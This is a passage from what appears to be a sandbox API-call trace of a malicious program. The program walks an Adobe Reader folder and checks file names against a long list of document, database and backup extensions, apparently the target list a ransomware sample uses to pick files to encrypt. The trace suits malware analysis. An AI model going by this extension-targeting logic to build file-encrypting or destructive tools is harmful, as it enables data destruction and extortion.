lstrcmpiW (lpString1=".asm", lpString2="s.js") returned -1 [0275.381] lstrlenW (lpString=".asmx") returned 5 [0275.381] lstrcmpiW (lpString1=".asmx", lpString2="gs.js") returned -1 [0275.381] lstrlenW (lpString=".asp") returned 4 [0275.381] lstrcmpiW (lpString1=".asp", lpString2="s.js") returned -1 [0275.381] lstrlenW (lpString=".aspx") returned 5 [0275.381] lstrcmpiW (lpString1=".aspx", lpString2="gs.js") returned -1 [0275.381] lstrlenW (lpString=".asr") returned 4 [0275.381] lstrcmpiW (lpString1=".asr", lpString2="s.js") returned -1 [0275.381] lstrlenW (lpString=".asx") returned 4 [0275.381] lstrcmpiW (lpString1=".asx", lpString2="s.js") returned -1 [0275.381] lstrlenW (lpString=".avi") returned 4 [0275.381] lstrcmpiW (lpString1=".avi", lpString2="s.js") returned -1 [0275.381] lstrlenW (lpString=".avs") returned 4 [0275.381] lstrcmpiW (lpString1=".avs", lpString2="s.js") returned -1 [0275.381] lstrlenW (lpString=".backup") returned 7 [0275.381] lstrcmpiW (lpString1=".backup", lpString2="ings.js") returned -1 [0275.381] lstrlenW (lpString=".bak") returned 4 [0275.381] lstrcmpiW (lpString1=".bak", lpString2="s.js") returned -1 [0275.381] lstrlenW (lpString=".bay") returned 4 [0275.381] lstrcmpiW (lpString1=".bay", lpString2="s.js") returned -1 [0275.381] lstrlenW (lpString=".bd") returned 3 [0275.381] lstrcmpiW (lpString1=".bd", lpString2=".js") returned -1 [0275.381] lstrlenW (lpString=".bin") returned 4 [0275.381] lstrcmpiW (lpString1=".bin", lpString2="s.js") returned -1 [0275.381] lstrlenW (lpString=".bmp") returned 4 [0275.381] lstrcmpiW (lpString1=".bmp", lpString2="s.js") returned -1 [0275.381] lstrlenW (lpString=".bz2") returned 4 [0275.381] lstrcmpiW (lpString1=".bz2", lpString2="s.js") returned -1 [0275.381] lstrlenW (lpString=".c") returned 2 [0275.381] lstrcmpiW (lpString1=".c", lpString2="js") returned -1 [0275.382] lstrlenW (lpString=".cdr") returned 4 [0275.382] lstrcmpiW (lpString1=".cdr", lpString2="s.js") returned -1 [0275.382] lstrlenW (lpString=".cer") returned 4 [0275.382] lstrcmpiW (lpString1=".cer", lpString2="s.js") returned -1 [0275.382] lstrlenW (lpString=".cf") returned 3 [0275.382] lstrcmpiW (lpString1=".cf", lpString2=".js") returned -1 [0275.382] lstrlenW (lpString=".cfc") returned 4 [0275.382] lstrcmpiW (lpString1=".cfc", lpString2="s.js") returned -1 [0275.382] lstrlenW (lpString=".cfm") returned 4 [0275.382] lstrcmpiW (lpString1=".cfm", lpString2="s.js") returned -1 [0275.382] lstrlenW (lpString=".cfml") returned 5 [0275.382] lstrcmpiW (lpString1=".cfml", lpString2="gs.js") returned -1 [0275.382] lstrlenW (lpString=".cfu") returned 4 [0275.382] lstrcmpiW (lpString1=".cfu", lpString2="s.js") returned -1 [0275.382] lstrlenW (lpString=".chm") returned 4 [0275.382] lstrcmpiW (lpString1=".chm", lpString2="s.js") returned -1 [0275.382] lstrlenW (lpString=".cin") returned 4 [0275.382] lstrcmpiW (lpString1=".cin", lpString2="s.js") returned -1 [0275.382] lstrlenW (lpString=".class") returned 6 [0275.382] lstrcmpiW (lpString1=".class", lpString2="ngs.js") returned -1 [0275.382] lstrlenW (lpString=".clx") returned 4 [0275.382] lstrcmpiW (lpString1=".clx", lpString2="s.js") returned -1 [0275.382] lstrlenW (lpString=".config") returned 7 [0275.382] lstrcmpiW (lpString1=".config", lpString2="ings.js") returned -1 [0275.382] lstrlenW (lpString=".cpp") returned 4 [0275.382] lstrcmpiW (lpString1=".cpp", lpString2="s.js") returned -1 [0275.382] lstrlenW (lpString=".cr2") returned 4 [0275.382] lstrcmpiW (lpString1=".cr2", lpString2="s.js") returned -1 [0275.382] lstrlenW (lpString=".crt") returned 4 [0275.382] lstrcmpiW (lpString1=".crt", lpString2="s.js") returned -1 [0275.382] lstrlenW (lpString=".crw") returned 4 [0275.382] lstrcmpiW (lpString1=".crw", lpString2="s.js") returned -1 [0275.382] lstrlenW (lpString=".cs") returned 3 [0275.382] lstrcmpiW (lpString1=".cs", lpString2=".js") returned -1 [0275.382] lstrlenW (lpString=".css") returned 4 [0275.382] lstrcmpiW (lpString1=".css", lpString2="s.js") returned -1 [0275.383] lstrlenW (lpString=".csv") returned 4 [0275.383] lstrcmpiW (lpString1=".csv", lpString2="s.js") returned -1 [0275.383] lstrlenW (lpString=".cub") returned 4 [0275.383] lstrcmpiW (lpString1=".cub", lpString2="s.js") returned -1 [0275.383] lstrlenW (lpString=".dae") returned 4 [0275.383] lstrcmpiW (lpString1=".dae", lpString2="s.js") returned -1 [0275.383] lstrlenW (lpString=".dat") returned 4 [0275.383] lstrcmpiW (lpString1=".dat", lpString2="s.js") returned -1 [0275.383] lstrlenW (lpString=".db") returned 3 [0275.383] lstrcmpiW (lpString1=".db", lpString2=".js") returned -1 [0275.383] lstrlenW (lpString=".dbf") returned 4 [0275.383] lstrcmpiW (lpString1=".dbf", lpString2="s.js") returned -1 [0275.383] lstrlenW (lpString=".dbx") returned 4 [0275.383] lstrcmpiW (lpString1=".dbx", lpString2="s.js") returned -1 [0275.383] lstrlenW (lpString=".dc3") returned 4 [0275.383] lstrcmpiW (lpString1=".dc3", lpString2="s.js") returned -1 [0275.383] lstrlenW (lpString=".dcm") returned 4 [0275.383] lstrcmpiW (lpString1=".dcm", lpString2="s.js") returned -1 [0275.383] lstrlenW (lpString=".dcr") returned 4 [0275.383] lstrcmpiW (lpString1=".dcr", lpString2="s.js") returned -1 [0275.383] lstrlenW (lpString=".der") returned 4 [0275.383] lstrcmpiW (lpString1=".der", lpString2="s.js") returned -1 [0275.665] lstrlenW (lpString=".dib") returned 4 [0275.665] lstrcmpiW (lpString1=".dib", lpString2="s.js") returned -1 [0275.665] lstrlenW (lpString=".dic") returned 4 [0275.665] lstrcmpiW (lpString1=".dic", lpString2="s.js") returned -1 [0275.665] lstrlenW (lpString=".dif") returned 4 [0275.665] lstrcmpiW (lpString1=".dif", lpString2="s.js") returned -1 [0275.665] lstrlenW (lpString=".divx") returned 5 [0275.665] lstrcmpiW (lpString1=".divx", lpString2="gs.js") returned -1 [0275.665] lstrlenW (lpString=".djvu") returned 5 [0275.665] lstrcmpiW (lpString1=".djvu", lpString2="gs.js") returned -1 [0275.665] lstrlenW (lpString=".dng") returned 4 [0275.665] lstrcmpiW (lpString1=".dng", lpString2="s.js") returned -1 [0275.665] lstrlenW (lpString=".doc") returned 4 [0275.665] lstrcmpiW (lpString1=".doc", lpString2="s.js") returned -1 [0275.665] lstrlenW (lpString=".docm") returned 5 [0275.665] lstrcmpiW (lpString1=".docm", lpString2="gs.js") returned -1 [0275.665] lstrlenW (lpString=".docx") returned 5 [0275.665] lstrcmpiW (lpString1=".docx", lpString2="gs.js") returned -1 [0275.665] lstrlenW (lpString=".dot") returned 4 [0275.665] lstrcmpiW (lpString1=".dot", lpString2="s.js") returned -1 [0275.665] lstrlenW (lpString=".dotm") returned 5 [0275.665] lstrcmpiW (lpString1=".dotm", lpString2="gs.js") returned -1 [0275.665] lstrlenW (lpString=".dotx") returned 5 [0275.666] lstrcmpiW (lpString1=".dotx", lpString2="gs.js") returned -1 [0275.666] lstrlenW (lpString=".dpx") returned 4 [0275.666] lstrcmpiW (lpString1=".dpx", lpString2="s.js") returned -1 [0275.666] lstrlenW (lpString=".dqy") returned 4 [0275.666] lstrcmpiW (lpString1=".dqy", lpString2="s.js") returned -1 [0275.666] lstrlenW (lpString=".dsn") returned 4 [0275.666] lstrcmpiW (lpString1=".dsn", lpString2="s.js") returned -1 [0275.666] lstrlenW (lpString=".dt") returned 3 [0275.666] lstrcmpiW (lpString1=".dt", lpString2=".js") returned -1 [0275.666] lstrlenW (lpString=".dtd") returned 4 [0275.666] lstrcmpiW (lpString1=".dtd", lpString2="s.js") returned -1 [0275.666] lstrlenW (lpString=".dwg") returned 4 [0275.666] lstrcmpiW (lpString1=".dwg", lpString2="s.js") returned -1 [0275.666] lstrlenW (lpString=".dwt") returned 4 [0275.666] lstrcmpiW (lpString1=".dwt", lpString2="s.js") returned -1 [0275.666] lstrlenW (lpString=".dx") returned 3 [0275.666] lstrcmpiW (lpString1=".dx", lpString2=".js") returned -1 [0275.666] lstrlenW (lpString=".dxf") returned 4 [0275.666] lstrcmpiW (lpString1=".dxf", lpString2="s.js") returned -1 [0275.666] lstrlenW (lpString=".edml") returned 5 [0275.667] lstrcmpiW (lpString1=".edml", lpString2="gs.js") returned -1 [0275.667] lstrlenW (lpString=".efd") returned 4 [0275.667] lstrcmpiW (lpString1=".efd", lpString2="s.js") returned -1 [0275.667] lstrlenW (lpString=".elf") returned 4 [0275.667] lstrcmpiW (lpString1=".elf", lpString2="s.js") returned -1 [0275.667] lstrlenW (lpString=".emf") returned 4 [0275.667] lstrcmpiW (lpString1=".emf", lpString2="s.js") returned -1 [0275.667] lstrlenW (lpString=".emz") returned 4 [0275.667] lstrcmpiW (lpString1=".emz", lpString2="s.js") returned -1 [0275.667] lstrlenW (lpString=".epf") returned 4 [0275.667] lstrcmpiW (lpString1=".epf", lpString2="s.js") returned -1 [0275.667] lstrlenW (lpString=".eps") returned 4 [0275.667] lstrcmpiW (lpString1=".eps", lpString2="s.js") returned -1 [0275.667] FindNextFileW (in: hFindFile=0x3315930, lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefe20919, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefe20919, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe20919, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xbe19, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0275.667] FindClose (in: hFindFile=0x3315930 | out: hFindFile=0x3315930) returned 1 [0275.668] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4225da8 | out: hHeap=0x670000) returned 1 [0275.668] FindNextFileW (in: hFindFile=0x33158f0, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefdfa6fb, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefdfa6fb, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefdfa6fb, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-fi", cAlternateFileName="")) returned 1 [0275.668] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x5071060 [0275.668] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\fi-fi") returned 113 [0275.668] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\fi-fi\\*", lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefdfa6fb, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefdfa6fb, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefdfa6fb, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x33155b0 [0275.668] FindNextFileW (in: hFindFile=0x33155b0, lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefdfa6fb, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefdfa6fb, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefdfa6fb, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0275.668] FindNextFileW (in: hFindFile=0x33155b0, lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefdfa6fb, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefdfa6fb, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefdfa6fb, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xb67e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0275.669] lstrlenW (lpString="ui-strings.js") returned 13 [0275.669] lstrlenW (lpString=".1cd") returned 4 [0275.669] lstrcmpiW (lpString1=".1cd", lpString2="s.js") returned -1 [0275.669] lstrlenW (lpString=".3ds") returned 4 [0275.669] lstrcmpiW (lpString1=".3ds", lpString2="s.js") returned -1 [0275.669] lstrlenW (lpString=".3fr") returned 4 [0275.669] lstrcmpiW (lpString1=".3fr", lpString2="s.js") returned -1 [0275.669] lstrlenW (lpString=".3g2") returned 4 [0275.669] lstrcmpiW (lpString1=".3g2", lpString2="s.js") returned -1 [0275.669] lstrlenW (lpString=".3gp") returned 4 [0275.669] lstrcmpiW (lpString1=".3gp", lpString2="s.js") returned -1 [0275.669] lstrlenW (lpString=".7z") returned 3 [0275.669] lstrcmpiW (lpString1=".7z", lpString2=".js") returned -1 [0275.669] lstrlenW (lpString=".accda") returned 6 [0275.669] lstrcmpiW (lpString1=".accda", lpString2="ngs.js") returned -1 [0275.669] lstrlenW (lpString=".accdb") returned 6 [0275.669] lstrcmpiW (lpString1=".accdb", lpString2="ngs.js") returned -1 [0275.669] lstrlenW (lpString=".accdc") returned 6 [0275.669] lstrcmpiW (lpString1=".accdc", lpString2="ngs.js") returned -1 [0275.669] lstrlenW (lpString=".accde") returned 6 [0275.669] lstrcmpiW (lpString1=".accde", lpString2="ngs.js") returned -1 [0275.669] lstrlenW (lpString=".accdt") returned 6 [0275.669] lstrcmpiW (lpString1=".accdt", lpString2="ngs.js") returned -1 [0275.669] lstrlenW (lpString=".accdw") returned 6 [0275.670] lstrcmpiW (lpString1=".accdw", lpString2="ngs.js") returned -1 [0275.670] lstrlenW (lpString=".adb") returned 4 [0275.670] lstrcmpiW (lpString1=".adb", lpString2="s.js") returned -1 [0275.670] lstrlenW (lpString=".adp") returned 4 [0275.670] lstrcmpiW (lpString1=".adp", lpString2="s.js") returned -1 [0275.670] lstrlenW (lpString=".ai") returned 3 [0275.670] lstrcmpiW (lpString1=".ai", lpString2=".js") returned -1 [0275.670] lstrlenW (lpString=".ai3") returned 4 [0275.670] lstrcmpiW (lpString1=".ai3", lpString2="s.js") returned -1 [0275.670] lstrlenW (lpString=".ai4") returned 4 [0275.670] lstrcmpiW (lpString1=".ai4", lpString2="s.js") returned -1 [0275.670] lstrlenW (lpString=".ai5") returned 4 [0275.670] lstrcmpiW (lpString1=".ai5", lpString2="s.js") returned -1 [0275.670] lstrlenW (lpString=".ai6") returned 4 [0275.670] lstrcmpiW (lpString1=".ai6", lpString2="s.js") returned -1 [0275.670] lstrlenW (lpString=".ai7") returned 4 [0275.670] lstrcmpiW (lpString1=".ai7", lpString2="s.js") returned -1 [0275.670] lstrlenW (lpString=".ai8") returned 4 [0275.670] lstrcmpiW (lpString1=".ai8", lpString2="s.js") returned -1 [0275.670] lstrlenW (lpString=".anim") returned 5 [0275.670] lstrcmpiW (lpString1=".anim", lpString2="gs.js") returned -1 [0275.670] lstrlenW (lpString=".arw") returned 4 [0275.670] lstrcmpiW (lpString1=".arw", lpString2="s.js") returned -1 [0275.670] lstrlenW (lpString=".as") returned 3 [0275.670] lstrcmpiW (lpString1=".as", lpString2=".js") returned -1 [0275.670] lstrlenW (lpString=".asa") returned 4 [0275.670] lstrcmpiW (lpString1=".asa", lpString2="s.js") returned -1 [0275.670] lstrlenW (lpString=".asc") returned 4 [0275.671] lstrcmpiW (lpString1=".asc", lpString2="s.js") returned -1 [0275.671] lstrlenW (lpString=".ascx") returned 5 [0275.671] lstrcmpiW (lpString1=".ascx", lpString2="gs.js") returned -1 [0275.671] lstrlenW (lpString=".asm") returned 4 [0275.671] lstrcmpiW (lpString1=".asm", lpString2="s.js") returned -1 [0275.671] lstrlenW (lpString=".asmx") returned 5 [0275.671] lstrcmpiW (lpString1=".asmx", lpString2="gs.js") returned -1 [0275.671] lstrlenW (lpString=".asp") returned 4 [0275.671] lstrcmpiW (lpString1=".asp", lpString2="s.js") returned -1 [0275.671] lstrlenW (lpString=".aspx") returned 5 [0275.671] lstrcmpiW (lpString1=".aspx", lpString2="gs.js") returned -1 [0275.671] lstrlenW (lpString=".asr") returned 4 [0275.671] lstrcmpiW (lpString1=".asr", lpString2="s.js") returned -1 [0275.671] lstrlenW (lpString=".asx") returned 4 [0275.671] lstrcmpiW (lpString1=".asx", lpString2="s.js") returned -1 [0275.671] lstrlenW (lpString=".avi") returned 4 [0275.671] lstrcmpiW (lpString1=".avi", lpString2="s.js") returned -1 [0275.671] lstrlenW (lpString=".avs") returned 4 [0275.671] lstrcmpiW (lpString1=".avs", lpString2="s.js") returned -1 [0275.671] lstrlenW (lpString=".backup") returned 7 [0275.671] lstrcmpiW (lpString1=".backup", lpString2="ings.js") returned -1 [0275.671] lstrlenW (lpString=".bak") returned 4 [0275.671] lstrcmpiW (lpString1=".bak", lpString2="s.js") returned -1 [0275.671] lstrlenW (lpString=".bay") returned 4 [0275.671] lstrcmpiW (lpString1=".bay", lpString2="s.js") returned -1 [0275.671] lstrlenW (lpString=".bd") returned 3 [0275.671] lstrcmpiW (lpString1=".bd", lpString2=".js") returned -1 [0275.672] lstrlenW (lpString=".bin") returned 4 [0275.672] lstrcmpiW (lpString1=".bin", lpString2="s.js") returned -1 [0275.672] lstrlenW (lpString=".bmp") returned 4 [0275.672] lstrcmpiW (lpString1=".bmp", lpString2="s.js") returned -1 [0275.672] lstrlenW (lpString=".bz2") returned 4 [0275.672] lstrcmpiW (lpString1=".bz2", lpString2="s.js") returned -1 [0275.672] lstrlenW (lpString=".c") returned 2 [0275.672] lstrcmpiW (lpString1=".c", lpString2="js") returned -1 [0275.672] lstrlenW (lpString=".cdr") returned 4 [0275.672] lstrcmpiW (lpString1=".cdr", lpString2="s.js") returned -1 [0275.672] lstrlenW (lpString=".cer") returned 4 [0275.672] lstrcmpiW (lpString1=".cer", lpString2="s.js") returned -1 [0275.672] lstrlenW (lpString=".cf") returned 3 [0275.672] lstrcmpiW (lpString1=".cf", lpString2=".js") returned -1 [0275.672] lstrlenW (lpString=".cfc") returned 4 [0275.672] lstrcmpiW (lpString1=".cfc", lpString2="s.js") returned -1 [0275.672] lstrlenW (lpString=".cfm") returned 4 [0275.672] lstrcmpiW (lpString1=".cfm", lpString2="s.js") returned -1 [0275.672] lstrlenW (lpString=".cfml") returned 5 [0275.672] lstrcmpiW (lpString1=".cfml", lpString2="gs.js") returned -1 [0275.672] lstrlenW (lpString=".cfu") returned 4 [0275.672] lstrcmpiW (lpString1=".cfu", lpString2="s.js") returned -1 [0275.672] lstrlenW (lpString=".chm") returned 4 [0275.672] lstrcmpiW (lpString1=".chm", lpString2="s.js") returned -1 [0275.672] lstrlenW (lpString=".cin") returned 4 [0275.672] lstrcmpiW (lpString1=".cin", lpString2="s.js") returned -1 [0275.672] lstrlenW (lpString=".class") returned 6 [0275.672] lstrcmpiW (lpString1=".class", lpString2="ngs.js") returned -1 [0275.673] lstrlenW (lpString=".clx") returned 4 [0275.673] lstrcmpiW (lpString1=".clx", lpString2="s.js") returned -1 [0275.673] lstrlenW (lpString=".config") returned 7 [0275.673] lstrcmpiW (lpString1=".config", lpString2="ings.js") returned -1 [0275.673] lstrlenW (lpString=".cpp") returned 4 [0275.673] lstrcmpiW (lpString1=".cpp", lpString2="s.js") returned -1 [0275.673] lstrlenW (lpString=".cr2") returned 4 [0275.673] lstrcmpiW (lpString1=".cr2", lpString2="s.js") returned -1 [0275.673] lstrlenW (lpString=".crt") returned 4 [0275.673] lstrcmpiW (lpString1=".crt", lpString2="s.js") returned -1 [0275.673] lstrlenW (lpString=".crw") returned 4 [0275.673] lstrcmpiW (lpString1=".crw", lpString2="s.js") returned -1 [0275.673] lstrlenW (lpString=".cs") returned 3 [0275.673] lstrcmpiW (lpString1=".cs", lpString2=".js") returned -1 [0275.673] lstrlenW (lpString=".css") returned 4 [0275.673] lstrcmpiW (lpString1=".css", lpString2="s.js") returned -1 [0275.673] lstrlenW (lpString=".csv") returned 4 [0275.673] lstrcmpiW (lpString1=".csv", lpString2="s.js") returned -1 [0275.673] lstrlenW (lpString=".cub") returned 4 [0275.673] lstrcmpiW (lpString1=".cub", lpString2="s.js") returned -1 [0275.673] lstrlenW (lpString=".dae") returned 4 [0275.673] lstrcmpiW (lpString1=".dae", lpString2="s.js") returned -1 [0275.673] lstrlenW (lpString=".dat") returned 4 [0275.673] lstrcmpiW (lpString1=".dat", lpString2="s.js") returned -1 [0275.673] lstrlenW (lpString=".db") returned 3 [0275.673] lstrcmpiW (lpString1=".db", lpString2=".js") returned -1 [0275.674] lstrlenW (lpString=".dbf") returned 4 [0275.674] lstrcmpiW (lpString1=".dbf", lpString2="s.js") returned -1 [0275.674] lstrlenW (lpString=".dbx") returned 4 [0275.674] lstrcmpiW (lpString1=".dbx", lpString2="s.js") returned -1 [0275.674] lstrlenW (lpString=".dc3") returned 4 [0275.674] lstrcmpiW (lpString1=".dc3", lpString2="s.js") returned -1 [0275.674] lstrlenW (lpString=".dcm") returned 4 [0275.674] lstrcmpiW (lpString1=".dcm", lpString2="s.js") returned -1 [0275.674] lstrlenW (lpString=".dcr") returned 4 [0275.674] lstrcmpiW (lpString1=".dcr", lpString2="s.js") returned -1 [0275.674] lstrlenW (lpString=".der") returned 4 [0275.674] lstrcmpiW (lpString1=".der", lpString2="s.js") returned -1 [0275.674] lstrlenW (lpString=".dib") returned 4 [0275.674] lstrcmpiW (lpString1=".dib", lpString2="s.js") returned -1 [0275.674] lstrlenW (lpString=".dic") returned 4 [0275.674] lstrcmpiW (lpString1=".dic", lpString2="s.js") returned -1 [0275.674] lstrlenW (lpString=".dif") returned 4 [0275.674] lstrcmpiW (lpString1=".dif", lpString2="s.js") returned -1 [0275.674] lstrlenW (lpString=".divx") returned 5 [0275.674] lstrcmpiW (lpString1=".divx", lpString2="gs.js") returned -1 [0275.674] lstrlenW (lpString=".djvu") returned 5 [0275.674] lstrcmpiW (lpString1=".djvu", lpString2="gs.js") returned -1 [0275.674] lstrlenW (lpString=".dng") returned 4 [0275.674] lstrcmpiW (lpString1=".dng", lpString2="s.js") returned -1 [0275.674] lstrlenW (lpString=".doc") returned 4 [0275.674] lstrcmpiW (lpString1=".doc", lpString2="s.js") returned -1 [0275.674] lstrlenW (lpString=".docm") returned 5 [0275.675] lstrcmpiW (lpString1=".docm", lpString2="gs.js") returned -1 [0275.675] lstrlenW (lpString=".docx") returned 5 [0275.675] lstrcmpiW (lpString1=".docx", lpString2="gs.js") returned -1 [0275.675] lstrlenW (lpString=".dot") returned 4 [0275.675] lstrcmpiW (lpString1=".dot", lpString2="s.js") returned -1 [0275.675] lstrlenW (lpString=".dotm") returned 5 [0275.675] lstrcmpiW (lpString1=".dotm", lpString2="gs.js") returned -1 [0275.675] lstrlenW (lpString=".dotx") returned 5 [0275.675] lstrcmpiW (lpString1=".dotx", lpString2="gs.js") returned -1 [0275.675] lstrlenW (lpString=".dpx") returned 4 [0275.675] lstrcmpiW (lpString1=".dpx", lpString2="s.js") returned -1 [0275.675] lstrlenW (lpString=".dqy") returned 4 [0275.675] lstrcmpiW (lpString1=".dqy", lpString2="s.js") returned -1 [0275.675] lstrlenW (lpString=".dsn") returned 4 [0275.675] lstrcmpiW (lpString1=".dsn", lpString2="s.js") returned -1 [0275.675] lstrlenW (lpString=".dt") returned 3 [0275.675] lstrcmpiW (lpString1=".dt", lpString2=".js") returned -1 [0275.675] lstrlenW (lpString=".dtd") returned 4 [0275.675] lstrcmpiW (lpString1=".dtd", lpString2="s.js") returned -1 [0275.675] lstrlenW (lpString=".dwg") returned 4 [0275.675] lstrcmpiW (lpString1=".dwg", lpString2="s.js") returned -1 [0275.675] lstrlenW (lpString=".dwt") returned 4 [0275.675] lstrcmpiW (lpString1=".dwt", lpString2="s.js") returned -1 [0275.675] lstrlenW (lpString=".dx") returned 3 [0275.675] lstrcmpiW (lpString1=".dx", lpString2=".js") returned -1 [0275.676] lstrlenW (lpString=".dxf") returned 4 [0275.676] lstrcmpiW (lpString1=".dxf", lpString2="s.js") returned -1 [0275.676] lstrlenW (lpString=".edml") returned 5 [0275.676] lstrcmpiW (lpString1=".edml", lpString2="gs.js") returned -1 [0275.676] lstrlenW (lpString=".efd") returned 4 [0275.676] lstrcmpiW (lpString1=".efd", lpString2="s.js") returned -1 [0275.676] lstrlenW (lpString=".elf") returned 4 [0275.676] lstrcmpiW (lpString1=".elf", lpString2="s.js") returned -1 [0275.676] lstrlenW (lpString=".emf") returned 4 [0275.676] lstrcmpiW (lpString1=".emf", lpString2="s.js") returned -1 [0275.676] lstrlenW (lpString=".emz") returned 4 [0275.676] lstrcmpiW (lpString1=".emz", lpString2="s.js") returned -1 [0275.676] lstrlenW (lpString=".epf") returned 4 [0275.676] lstrcmpiW (lpString1=".epf", lpString2="s.js") returned -1 [0275.676] lstrlenW (lpString=".eps") returned 4 [0275.676] lstrcmpiW (lpString1=".eps", lpString2="s.js") returned -1 [0275.676] lstrlenW (lpString=".epsf") returned 5 [0275.676] lstrcmpiW (lpString1=".epsf", lpString2="gs.js") returned -1 [0275.676] lstrlenW (lpString=".epsp") returned 5 [0275.676] lstrcmpiW (lpString1=".epsp", lpString2="gs.js") returned -1 [0275.676] lstrlenW (lpString=".erf") returned 4 [0275.676] lstrcmpiW (lpString1=".erf", lpString2="s.js") returned -1 [0275.676] lstrlenW (lpString=".exr") returned 4 [0275.676] lstrcmpiW (lpString1=".exr", lpString2="s.js") returned -1 [0275.676] lstrlenW (lpString=".f4v") returned 4 [0275.676] lstrcmpiW (lpString1=".f4v", lpString2="s.js") returned -1 [0275.677] lstrlenW (lpString=".fido") returned 5 [0275.677] lstrcmpiW (lpString1=".fido", lpString2="gs.js") returned -1 [0275.677] lstrlenW (lpString=".flm") returned 4 [0275.677] lstrcmpiW (lpString1=".flm", lpString2="s.js") returned -1 [0275.677] lstrlenW (lpString=".flv") returned 4 [0275.677] lstrcmpiW (lpString1=".flv", lpString2="s.js") returned -1 [0275.677] lstrlenW (lpString=".frm") returned 4 [0275.677] lstrcmpiW (lpString1=".frm", lpString2="s.js") returned -1 [0275.677] lstrlenW (lpString=".fxg") returned 4 [0275.677] lstrcmpiW (lpString1=".fxg", lpString2="s.js") returned -1 [0275.677] lstrlenW (lpString=".geo") returned 4 [0275.677] lstrcmpiW (lpString1=".geo", lpString2="s.js") returned -1 [0275.677] lstrlenW (lpString=".gif") returned 4 [0275.677] lstrcmpiW (lpString1=".gif", lpString2="s.js") returned -1 [0275.677] lstrlenW (lpString=".grs") returned 4 [0275.677] lstrcmpiW (lpString1=".grs", lpString2="s.js") returned -1 [0275.677] lstrlenW (lpString=".gz") returned 3 [0275.677] lstrcmpiW (lpString1=".gz", lpString2=".js") returned -1 [0275.677] lstrlenW (lpString=".h") returned 2 [0275.677] lstrcmpiW (lpString1=".h", lpString2="js") returned -1 [0275.677] lstrlenW (lpString=".hdr") returned 4 [0275.677] lstrcmpiW (lpString1=".hdr", lpString2="s.js") returned -1 [0275.677] lstrlenW (lpString=".hpp") returned 4 [0275.677] lstrcmpiW (lpString1=".hpp", lpString2="s.js") returned -1 [0275.677] lstrlenW (lpString=".hta") returned 4 [0275.677] lstrcmpiW (lpString1=".hta", lpString2="s.js") returned -1 [0275.677] lstrlenW (lpString=".htc") returned 4 [0275.678] lstrcmpiW (lpString1=".htc", lpString2="s.js") returned -1 [0275.678] lstrlenW (lpString=".htm") returned 4 [0275.678] lstrcmpiW (lpString1=".htm", lpString2="s.js") returned -1 [0275.678] lstrlenW (lpString=".html") returned 5 [0275.678] lstrcmpiW (lpString1=".html", lpString2="gs.js") returned -1 [0275.678] lstrlenW (lpString=".icb") returned 4 [0275.678] lstrcmpiW (lpString1=".icb", lpString2="s.js") returned -1 [0275.678] lstrlenW (lpString=".ics") returned 4 [0275.678] lstrcmpiW (lpString1=".ics", lpString2="s.js") returned -1 [0275.678] lstrlenW (lpString=".iff") returned 4 [0275.678] lstrcmpiW (lpString1=".iff", lpString2="s.js") returned -1 [0275.678] lstrlenW (lpString=".inc") returned 4 [0275.678] lstrcmpiW (lpString1=".inc", lpString2="s.js") returned -1 [0275.678] lstrlenW (lpString=".indd") returned 5 [0275.678] lstrcmpiW (lpString1=".indd", lpString2="gs.js") returned -1 [0275.678] lstrlenW (lpString=".ini") returned 4 [0275.678] lstrcmpiW (lpString1=".ini", lpString2="s.js") returned -1 [0275.678] lstrlenW (lpString=".iqy") returned 4 [0275.678] lstrcmpiW (lpString1=".iqy", lpString2="s.js") returned -1 [0275.678] lstrlenW 